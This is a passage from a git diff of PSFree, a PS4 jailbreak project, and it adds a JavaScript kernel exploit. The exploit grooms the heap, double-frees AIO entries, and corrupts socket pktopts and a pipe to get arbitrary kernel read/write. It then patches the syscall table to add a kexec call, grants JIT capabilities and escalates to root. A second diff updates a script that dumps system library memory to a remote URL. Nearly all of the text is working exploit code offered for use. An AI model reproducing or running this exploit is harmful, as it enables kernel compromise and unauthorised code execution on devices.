+ log(`*(&"evf cv"): ${kstr}`);
+ if (kstr !== 'evf cv') {
+ die('test read of &"evf cv" failed');
+ }
+
+ // TODO FW dependent parts! assume ps4 9.000 for now
+ //TODO: Needs porting to 9.00
+ const off_kstr = 0x7edcff;
+ const kbase = kernel_addr.sub(off_kstr);
+ log(`kernel base: ${kbase}`);
+
+ log('\nmaking arbitrary kernel read/write');
+ const cpuid = 7 - main_core;
+ const off_cpuid_to_pcpu = 0x228e6b0;
+ const pcpu_p = kbase.add(off_cpuid_to_pcpu + cpuid*8);
+ log(`cpuid_to_pcpu[${cpuid}]: ${pcpu_p}`);
+ const pcpu = kread64(pcpu_p);
+ log(`pcpu: ${pcpu}`);
+ log(`cpuid: ${kread64(pcpu.add(0x30)).hi}`);
+ // __pcpu[cpuid].pc_curthread
+ const td = kread64(pcpu);
+ log(`td: ${td}`);
+
+ const off_td_proc = 8;
+ const proc = kread64(td.add(off_td_proc));
+ log(`proc: ${proc}`);
+ const pid = sysi('getpid');
+ log(`our pid: ${pid}`);
+ const pid2 = kread64(proc.add(0xb0)).lo;
+ log(`suspected proc pid: ${pid2}`);
+ if (pid2 !== pid) {
+ die('process not found');
+ }
+
+ const off_p_fd = 0x48;
+ const p_fd = kread64(proc.add(off_p_fd));
+ log(`proc.p_fd: ${p_fd}`);
+ // curthread->td_proc->p_fd->fd_ofiles
+ const ofiles = kread64(p_fd);
+ log(`ofiles: ${ofiles}`);
+
+ const off_p_ucred = 0x40;
+ const p_ucred = kread64(proc.add(off_p_ucred));
+ log(`p_ucred ${p_ucred}`);
+
+ const pipes = new View4(2);
+ sysi('pipe', pipes.addr);
+ const pipe_file = kread64(ofiles.add(pipes[0] * 8));
+ log(`pipe file: ${pipe_file}`);
+ // ofiles[pipe_fd].f_data
+ const kpipe = kread64(pipe_file);
+ log(`pipe pointer: ${kpipe}`);
+
+ const pipe_save = new Buffer(0x18); // sizeof struct pipebuf
+ for (let off = 0; off < pipe_save.size; off += 8) {
+ pipe_save.write64(off, kread64(kpipe.add(off)));
+ }
+
+ const main_sd = psd;
+ const worker_sd = dirty_sd;
+
+ const main_file = kread64(ofiles.add(main_sd * 8));
+ log(`main sock file: ${main_file}`);
+ // ofiles[sd].f_data
+ const main_sock = kread64(main_file);
+ log(`main sock pointer: ${main_sock}`);
+ // socket.so_pcb (struct inpcb *)
+ const m_pcb = kread64(main_sock.add(0x18));
+ log(`main sock pcb: ${m_pcb}`);
+ // inpcb.in6p_outputopts
+ const m_pktopts = kread64(m_pcb.add(0x118));
+ log(`main pktopts: ${m_pktopts}`);
+ log(`0x100 malloc zone pointer: ${k100_addr}`);
+
+ if (m_pktopts.ne(k100_addr)) {
+ die('main pktopts pointer != leaked pktopts pointer');
+ }
+
+ // ofiles[sd].f_data
+ const reclaim_sock = kread64(kread64(ofiles.add(reclaim_sd * 8)));
+ log(`reclaim sock pointer: ${reclaim_sock}`);
+ // socket.so_pcb (struct inpcb *)
+ const r_pcb = kread64(reclaim_sock.add(0x18));
+ log(`reclaim sock pcb: ${r_pcb}`);
+ // inpcb.in6p_outputopts
+ const r_pktopts = kread64(r_pcb.add(0x118));
+ log(`reclaim pktopts: ${r_pktopts}`);
+
+ // ofiles[sd].f_data
+ const worker_sock = kread64(kread64(ofiles.add(worker_sd * 8)));
+ log(`worker sock pointer: ${worker_sock}`);
+ // socket.so_pcb (struct inpcb *)
+ const w_pcb = kread64(worker_sock.add(0x18));
+ log(`worker sock pcb: ${w_pcb}`);
+ // inpcb.in6p_outputopts
+ const w_pktopts = kread64(w_pcb.add(0x118));
+ log(`worker pktopts: ${w_pktopts}`);
+
+ // get restricted read/write with pktopts pair
+ // main_pktopts.ip6po_pktinfo = &worker_pktopts.ip6po_pktinfo
+ const w_pktinfo = w_pktopts.add(0x10);
+ pktinfo.write64(0, w_pktinfo);
+ pktinfo.write64(8, 0); // clear .ip6po_nexthop
+ ssockopt(main_sd, IPPROTO_IPV6, IPV6_PKTINFO, pktinfo);
+
+ pktinfo.write64(0, kernel_addr);
+ ssockopt(main_sd, IPPROTO_IPV6, IPV6_PKTINFO, pktinfo);
+ gsockopt(worker_sd, IPPROTO_IPV6, IPV6_PKTINFO, pktinfo);
+ const kstr2 = jstr(pktinfo);
+ log(`*(&"evf cv"): ${kstr2}`);
+ if (kstr2 !== 'evf cv') {
+ die('pktopts read failed');
+ }
+ log('achieved restricted kernel read/write');
+
+ // in6_pktinfo.ipi6_ifindex must be 0 (or a valid interface index) when
+ // using pktopts write. we can safely modify a pipe even with this limit so
+ // we corrupt that instead for arbitrary read/write. pipe.pipe_map will be
+ // clobbered with zeros but that's okay
+ class KernelMemory {
+ constructor(main_sd, worker_sd, pipes, pipe_addr) {
+ this.main_sd = main_sd;
+ this.worker_sd = worker_sd;
+ this.rpipe = pipes[0];
+ this.wpipe = pipes[1];
+ this.pipe_addr = pipe_addr; // &pipe.pipe_buf
+ this.pipe_addr2 = pipe_addr.add(0x10); // &pipe.pipe_buf.buffer
+ this.rw_buf = new Buffer(0x14);
+ this.addr_buf = new Buffer(0x14);
+ this.data_buf = new Buffer(0x14);
+ this.data_buf.write32(0xc, 0x40000000);
+ }
+
+ _verify_len(len) {
+ if (!(Number.isInteger(len) && (0 <= len <= 0xffffffff))) {
+ throw TypeError('len not a 32-bit unsigned integer');
+ }
+ }
+
+ copyin(src, dst, len) {
+ this._verify_len(len);
+ const main = this.main_sd;
+ const worker = this.worker_sd;
+ const addr_buf = this.addr_buf;
+ const data_buf = this.data_buf;
+
+ addr_buf.write64(0, this.pipe_addr);
+ ssockopt(main, IPPROTO_IPV6, IPV6_PKTINFO, addr_buf);
+
+ data_buf.write64(0, 0);
+ ssockopt(worker, IPPROTO_IPV6, IPV6_PKTINFO, data_buf);
+
+ addr_buf.write64(0, this.pipe_addr2);
+ ssockopt(main, IPPROTO_IPV6, IPV6_PKTINFO, addr_buf);
+
+ addr_buf.write64(0, dst);
+ ssockopt(worker, IPPROTO_IPV6, IPV6_PKTINFO, addr_buf);
+
+ sysi('write', this.wpipe, src, len);
+ }
+
+ copyout(src, dst, len) {
+ this._verify_len(len);
+ const main = this.main_sd;
+ const worker = this.worker_sd;
+ const addr_buf = this.addr_buf;
+ const data_buf = this.data_buf;
+
+ addr_buf.write64(0, this.pipe_addr);
+ ssockopt(main, IPPROTO_IPV6, IPV6_PKTINFO, addr_buf);
+
+ data_buf.write32(0, 0x40000000);
+ ssockopt(worker, IPPROTO_IPV6, IPV6_PKTINFO, data_buf);
+
+ addr_buf.write64(0, this.pipe_addr2);
+ ssockopt(main, IPPROTO_IPV6, IPV6_PKTINFO, addr_buf);
+
+ addr_buf.write64(0, src);
+ ssockopt(worker, IPPROTO_IPV6, IPV6_PKTINFO, addr_buf);
+
+ sysi('read', this.rpipe, dst, len);
+ }
+
+ _read(addr) {
+ const buf = this.rw_buf;
+ buf.write64(0, addr);
+ buf.fill(0, 8);
+ ssockopt(this.main_sd, IPPROTO_IPV6, IPV6_PKTINFO, buf);
+ gsockopt(this.worker_sd, IPPROTO_IPV6, IPV6_PKTINFO, buf);
+ }
+
+ read32(addr) {
+ this._read(addr);
+ return this.rw_buf.read32(0);
+ }
+
+ read64(addr) {
+ this._read(addr);
+ return this.rw_buf.read64(0);
+ }
+
+ write32(addr, value) {
+ this.rw_buf.write32(0, value);
+ this.copyin(this.rw_buf.addr, addr, 4);
+ }
+
+ write64(addr, value) {
+ this.rw_buf.write64(0, value);
+ this.copyin(this.rw_buf.addr, addr, 8);
+ }
+ }
+ const kmem = new KernelMemory(main_sd, worker_sd, pipes, kpipe);
+
+ const kstr3_buf = new Buffer(8);
+ kmem.copyout(kernel_addr, kstr3_buf.addr, kstr3_buf.size);
+ const kstr3 = jstr(kstr3_buf);
+ log(`*(&"evf cv"): ${kstr3}`);
+ if (kstr3 !== 'evf cv') {
+ die('pipe read failed');
+ }
+ log('achieved arbitrary kernel read/write');
+
+ // RESTORE: clean corrupt pointers
+ // pktopts.ip6po_rthdr = NULL
+ const off_ip6po_rthdr = 0x68;
+ const r_rthdr_p = r_pktopts.add(off_ip6po_rthdr);
+ log(`reclaim rthdr: ${kmem.read64(r_rthdr_p)}`);
+ kmem.write64(r_rthdr_p, 0);
+ log(`reclaim rthdr: ${kmem.read64(r_rthdr_p)}`);
+
+ const w_rthdr_p = w_pktopts.add(off_ip6po_rthdr);
+ log(`reclaim rthdr: ${kmem.read64(w_rthdr_p)}`);
+ log(kmem.read64(w_rthdr_p));
+ log(`reclaim rthdr: ${kmem.read64(w_rthdr_p)}`);
+
+ log('corrupt pointers cleaned');
+
+ /*
+ // REMOVE once restore kernel is ready for production
+ // increase the ref counts to prevent deallocation
+ kmem.write32(main_sock, kmem.read32(main_sock) + 1);
+ kmem.write32(worker_sock, kmem.read32(worker_sock) + 1);
+ // +2 since we have to take into account the fget_write()'s reference
+ kmem.write32(pipe_file.add(0x28), kmem.read32(pipe_file.add(0x28)) + 2);
+ */
+
+ return [kbase, kmem, p_ucred, [kpipe, pipe_save, pktinfo_p, w_pktinfo]];
+}
+
+// FUNCTIONS FOR STAGE: PATCH KERNEL
+
+async function get_patches(url) {
+ const response = await fetch(url);
+ if (!response.ok) {
+ throw Error(
+ `Network response was not OK, status: ${response.status}\n`
+ + `failed to fetch: ${url}`);
+ }
+ return response.arrayBuffer();
+}
+
+// TODO 9.00 supported only
+//TODO: Needs porting to 9.00
+async function patch_kernel(kbase, kmem, p_ucred, restore_info) {
+ if (!is_ps4) {
+ throw RangeError('PS5 kernel patching unsupported');
+ }
+ if (!(0x800 <= version < 0x900)) {
+ throw RangeError('kernel patching unsupported');
+ }
+
+ log('change sys_aio_submit() to sys_kexec()');
+ // sysent[661] is unimplemented so free for use
+ const offset_sysent_661 = 0x00410830;
+ const sysent_661 = kbase.add(offset_sysent_661);
+ // .sy_narg = 6
+ kmem.write32(sysent_661, 6);
+ // .sy_call = gadgets['jmp qword ptr [rsi]']
+ kmem.write64(sysent_661.add(8), kbase.add(0xe629c));
+ // .sy_thrcnt = SY_THR_STATIC
+ kmem.write32(sysent_661.add(0x2c), 1);
+
+ log('add JIT capabilities');
+ // TODO just set the bits for JIT privs
+ // cr_sceCaps[0]
+ kmem.write64(p_ucred.add(0x60), -1);
+ // cr_sceCaps[1]
+ kmem.write64(p_ucred.add(0x68), -1);
+
+ const buf = await get_patches('/kpatch/80x.elf');
+ // FIXME handle .bss segment properly
+ // assume start of loadable segments is at offset 0x1000
+ const patches = new View1(await buf, 0x1000);
+ let map_size = patches.size;
+ const max_size = 0x10000000;
+ if (map_size > max_size) {
+ die(`patch file too large (>${max_size}): ${map_size}`);
+ }
+ if (map_size === 0) {
+ die('patch file size is zero');
+ }
+ map_size = map_size+page_size & -page_size;
+
+ const prot_rwx = 7;
+ const prot_rx = 5;
+ const prot_rw = 3;
+ const exec_p = new Int(0, 9);
+ const write_p = new Int(max_size, 9);
+ const exec_fd = sysi('jitshm_create', 0, map_size, prot_rwx);
+ const write_fd = sysi('jitshm_alias', exec_fd, prot_rw);
+
+ const exec_addr = chain.sysp(
+ 'mmap',
+ exec_p,
+ map_size,
+ prot_rx,
+ MAP_SHARED|MAP_FIXED,
+ exec_fd,
+ 0,
+ );
+ const write_addr = chain.sysp(
+ 'mmap',
+ write_p,
+ map_size,
+ prot_rw,
+ MAP_SHARED|MAP_FIXED,
+ write_fd,
+ 0,
+ );
+
+ log(`exec_addr: ${exec_addr}`);
+ log(`write_addr: ${write_addr}`);
+ if (exec_addr.ne(exec_p) || write_addr.ne(write_p)) {
+ die('mmap() for jit failed');
+ }
+
+ log('mlock exec_addr for kernel exec');
+ sysi('mlock', exec_addr, map_size);
+
+ // mov eax, 0x1337; ret (0xc300_0013_37b8)
+ const test_code = new Int(0x001337b8, 0xc300);
+ write_addr.write64(0, test_code);
+
+ log('test jit exec');
+ sys_void('kexec', exec_addr);
+ let retval = chain.errno;
+ log('returned successfully');
+
+ log(`jit retval: ${retval}`);
+ if (retval !== 0x1337) {
+ die('test jit exec failed');
+ }
+
+ const pipe_save = restore_info[1];
+ restore_info[1] = pipe_save.addr;
+ log('mlock pipe save data for kernel restore');
+ sysi('mlock', restore_info[1], page_size);
+
+ mem.cpy(write_addr, patches.addr, patches.size);
+ sys_void('kexec', exec_addr, ...restore_info);
+
+ log('setuid(0)');
+ sysi('setuid', 0);
+ log('kernel exploit succeeded!');
+}
+
+// FUNCTIONS FOR STAGE: SETUP
+
+function setup(block_fd) {
+ // this part will block the worker threads from processing entries so that
+ // we may cancel them instead. this is to work around the fact that
+ // aio_worker_entry2() will fdrop() the file associated with the aio_entry
+ // on ps5. we want aio_multi_delete() to call fdrop()
+ log('block AIO');
+ const reqs1 = new Buffer(0x28 * num_workers);
+ const block_id = new Word();
+
+ for (let i = 0; i < num_workers; i++) {
+ reqs1.write32(8 + i*0x28, 1);
+ reqs1.write32(0x20 + i*0x28, block_fd);
+ }
+ aio_submit_cmd(AIO_CMD_READ, reqs1.addr, num_workers, block_id.addr);
+
+ {
+ const reqs1 = make_reqs1(1);
+ const timo = new Word(1);
+ const id = new Word();
+ aio_submit_cmd(AIO_CMD_READ, reqs1.addr, 1, id.addr);
+ chain.do_syscall_clear_errno(
+ 'aio_multi_wait', id.addr, 1, _aio_errors_p, 1, timo.addr);
+ const err = chain.errno;
+ if (err !== 60) { // ETIMEDOUT
+ die(`SceAIO system not blocked. errno: ${err}`);
+ }
+ free_aios(id.addr, 1);
+ }
+
+ log('heap grooming');
+ // chosen to maximize the number of 0x80 malloc allocs per submission
+ const num_reqs = 3;
+ const groom_ids = new View4(num_grooms);
+ const groom_ids_p = groom_ids.addr;
+ const greqs = make_reqs1(num_reqs);
+ // allocate enough so that we start allocating from a newly created slab
+ spray_aio(num_grooms, greqs.addr, num_reqs, groom_ids_p, false);
+ cancel_aios(groom_ids_p, num_grooms);
+ return [block_id, groom_ids];
+}
+
+// overview:
+// * double free a aio_entry (resides at a 0x80 malloc zone)
+// * type confuse a evf and a ip6_rthdr
+// * use evf/rthdr to read out the contents of the 0x80 malloc zone
+// * leak a address in the 0x100 malloc zone
+// * write the leaked address to a aio_entry
+// * double free the leaked address
+// * corrupt a ip6_pktopts for restricted r/w
+// * corrupt a pipe for arbitrary r/w
+//
+// the exploit implementation also assumes that we are pinned to one core
+export async function kexploit() {
+
+ const _init_t1 = performance.now();
+ await init();
+ const _init_t2 = performance.now();
+
+ // fun fact:
+ // if the first thing you do since boot is run the web browser, WebKit can
+ // use all the cores
+ const main_mask = new Long();
+ get_our_affinity(main_mask);
+ log(`main_mask: ${main_mask}`);
+
+
+ // pin to 1 core so that we only use 1 per-cpu bucket. this will make heap
+ // spraying and grooming easier
+ log(`pinning process to core #${main_core}`);
+ set_our_affinity(new Long(1 << main_core));
+ get_our_affinity(main_mask);
+ log(`main_mask: ${main_mask}`);
+
+ log("setting main thread's priority");
+ sysi('rtprio_thread', RTP_SET, 0, rtprio.addr);
+
+ const [block_fd, unblock_fd] = (() => {
+ const unix_pair = new View4(2);
+ sysi('socketpair', AF_UNIX, SOCK_STREAM, 0, unix_pair.addr);
+ return unix_pair;
+ })();
+
+ const sds = [];
+ for (let i = 0; i < num_sds; i++) {
+ sds.push(new_socket());
+ }
+
+ let block_id = null;
+ let groom_ids = null;
+ try {
+ log('STAGE: Setup');
+ [block_id, groom_ids] = setup(block_fd);
+
+ log('\nSTAGE: Double free AIO queue entry');
+ const sd_pair = double_free_reqs2(sds);
+
+ log('\nSTAGE: Leak kernel addresses');
+ const [
+ reqs1_addr, kbuf_addr, kernel_addr, target_id, evf,
+ ] = leak_kernel_addrs(sd_pair);
+
+ log('\nSTAGE: Double free SceKernelAioRWRequest');
+ const [pktopts_sds, dirty_sd] = double_free_reqs1(
+ reqs1_addr, kbuf_addr, target_id, evf, sd_pair[0], sds,
+ );
+
+ log('\nSTAGE: Get arbitrary kernel read/write');
+ const [kbase, kmem, p_ucred, restore_info] = make_kernel_arw(
+ pktopts_sds, dirty_sd, reqs1_addr, kernel_addr, sds);
+
+ //log('\nSTAGE: Patch kernel');
+ //await patch_kernel(kbase, kmem, p_ucred, restore_info);
+ } finally {
+ close(unblock_fd);
+
+ const t2 = performance.now();
+ const ftime = t2 - t1;
+ const init_time = _init_t2 - _init_t1;
+ log('\ntime (include init): ' + (ftime) / 1000);
+ log('kex time: ' + (t2 - _init_t2) / 1000);
+ log('init time: ' + (init_time) / 1000);
+ log('time to init: ' + (_init_t1 - t1) / 1000);
+ log('time - init time: ' + (ftime - init_time) / 1000);
+ }
+ close(block_fd);
+ free_aios2(groom_ids.addr, groom_ids.length);
+ aio_multi_wait(block_id.addr, 1);
+ aio_multi_delete(block_id.addr, block_id.length);
+ for (const sd of sds) {
+ close(sd);
+ }
+}
+kexploit();
diff --git a/send.mjs b/send.mjs
index 83cd176..508700e 100644
--- a/send.mjs
+++ b/send.mjs
@@ -1,4 +1,4 @@
-/* Copyright (C) 2024 anonymous
+/* Copyright (C) 2024-2025 anonymous
This file is part of PSFree.
@@ -15,15 +15,55 @@ GNU Affero General Public License for more details.
You should have received a copy of the GNU Affero General Public License
along with this program. If not, see . */
+// script for dumping libSceNKWebKit.sprx, libkernel_web.sprx, and
+// libSceLibcInternal.sprx
+
+// This script is for firmware 8.0x. You need to port this to your firmware if
+// you want to use it. It only dumps the .text and PT_SCE_RELRO segments. It
+// doesn't dump the entire ELF file.
+//
+// There's also some miscellaneous functions to dump functions from WebKit that
+// were studied during the development of PSFree.
+
+// libkernel libraries contain syscalls
+// syscalls are enforced to be called from these libraries
+//
+// libkernel_web.sprx is used by the browser in firmwares >= 6.00
+// libkernel.sprx for firmwares below
+//
+// libkernel_sys.sprx contains syscalls that aren't found in the others, such
+// as mount and nmount
+//
+// the BD-J app uses libkernel_sys.sprx for example
+
+// Porting HOWTO:
+//
+// You can only dump the WebKit module (libSceNKWebKit.sprx for FW >= 6.00,
+// else libSceWebkit2.sprx) initially via dump_libwebkit() on any firmware.
+// We'll use the WebKit dump to search for imported functions from libkernel
+// and LibcInternal. Once we resolve the imports, we can use find_base() to get
+// the boundaries of these modules.
+//
+// Most of the work is done for you at dump_lib*(). You just need to find the
+// offset of the imported functions relative to WebKit's base address.
+//
+// import candidates:
+//
+// __stack_chk_fail() is a good import from libkernel to search for as it's
+// easy to find since most functions are protected by a stack canary.
+//
+// For a LibcInternal import we searched for strlen() but you can search for
+// any libc function such as memcpy().
+
import * as config from './config.mjs';
import { Int } from './module/int64.mjs';
import { Addr, mem } from './module/mem.mjs';
import { make_buffer, find_base, resolve_import } from './module/memtools.mjs';
-import { KB, MB } from './module/constants.mjs';
+import { KB, MB } from './module/offset.mjs';
import {
- debug_log,
+ log,
align,
die,
send,
@@ -51,9 +91,9 @@ function get_boundaries(leak) {
// dump a module's .text and PT_SCE_RELRO segments only
function dump(name, lib_base, lib_end) {
// assumed size < 4GB
- const lib_size = lib_end.sub(lib_base).low();
- debug_log(`${name} base: ${lib_base}`);
- debug_log(`${name} size: ${lib_size}`);
+ const lib_size = lib_end.sub(lib_base).lo;
+ log(`${name} base: ${lib_base}`);
+ log(`${name} size: ${lib_size}`);
const lib = make_buffer(
lib_base,
lib_size
@@ -62,7 +102,7 @@ function dump(name, lib_base, lib_end) {
url,
lib,
`${name}.sprx.text_${lib_base}.bin`,
- () => debug_log(`${name} sent`)
+ () => log(`${name} sent`)
);
}
@@ -76,9 +116,9 @@ function dump_libwebkit() {
// in PT_SCE_RELRO segment (p_type = 0x6100_0010)
addr = addr.readp(0);
- debug_log(`vtable: ${addr}`);
+ log(`vtable: ${addr}`);
const vtable = make_buffer(addr, 0x400);
- send(url, vtable, `vtable_${addr}.bin`, () => debug_log('vtable sent'));
+ send(url, vtable, `vtable_${addr}.bin`, () => log('vtable sent'));
const [lib_base, lib_end] = get_boundaries(addr);
dump('libSceNKWebKit', lib_base, lib_end);
@@ -94,7 +134,7 @@ function dump_libkernel(libwebkit_base) {
const stack_chk_fail_import = libwebkit_base.add(offset);
const libkernel_leak = resolve_import(stack_chk_fail_import);
- debug_log(`__stack_chk_fail import: ${libkernel_leak}`);
+ log(`__stack_chk_fail import: ${libkernel_leak}`);
const [lib_base, lib_end] = get_boundaries(libkernel_leak);
dump('libkernel_web', lib_base, lib_end);
@@ -108,7 +148,7 @@ function dump_libc(libwebkit_base) {
const strlen_import = libwebkit_base.add(offset);
const libc_leak = resolve_import(strlen_import);
- debug_log(`strlen import: ${libc_leak}`);
+ log(`strlen import: ${libc_leak}`);
const [lib_base, lib_end] = get_boundaries(libc_leak);
dump('libSceLibcInternal', lib_base, lib_end);
@@ -158,7 +198,7 @@ function dump_eval() {
url,
make_buffer(impl, 0x800),
`eval_dump_offset_${offset}.bin`,
- () => debug_log('sent')
+ () => log('sent')
);
}
@@ -186,8 +226,6 @@ function dump_scrollLeft() {
url,
make_buffer(getter, 0x800),
`scrollLeft_getter_dump_offset_${offset}.bin`,
- () => debug_log('sent')
+ () => log('sent')
);
}
-
-dump_scrollLeft();